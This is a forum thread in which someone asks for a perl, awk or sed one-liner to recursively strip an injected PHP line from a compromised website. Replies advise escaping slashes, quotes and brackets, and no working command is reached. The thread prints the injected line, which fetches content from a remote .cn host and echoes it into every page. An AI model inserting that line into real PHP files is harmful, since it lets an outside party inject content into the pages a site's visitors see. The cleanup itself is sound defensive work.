replace a complex string with null

Hello,

I need a script or one liner possible in perl or awk ( as sed shows error )

I want to replace

<?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER['HTTP_HOST']);?>

with blank or null

1) in a file

2) in many directories recursively.

sed error is:

root@server [/home/xxxxxxx/public_html]# sed 's/error_reporting(0); echo file_get_contents(\"\http://googlesindication.cn/links.php?site=\\"\.$_SERVER['HTTP_HOST']);//g' ./framework/view/app/inc/header.php
sed: -e expression #1, char 57: Unknown option to `s'
root@server [/home/xxxxxx/public_html]#

please advise

You need to escape those / characters in the http:// - sed thinks that's the end of the expression and is getting confused.

No success still:

sed 's/error_reporting(0); echo file_get_contents("http:\/\/\googlesindication.cn/links.php?site=".$_SERVER['HTTP_HOST']);//g' ./framework/view/app/inc/header.php

I also see you've got some unescaped single quotes in there too, that'll break it. The brackets are likely to be interpreted as groupings instead of characters, so they won't get matched correctly.

Just work through the entire thing escaping any special characters.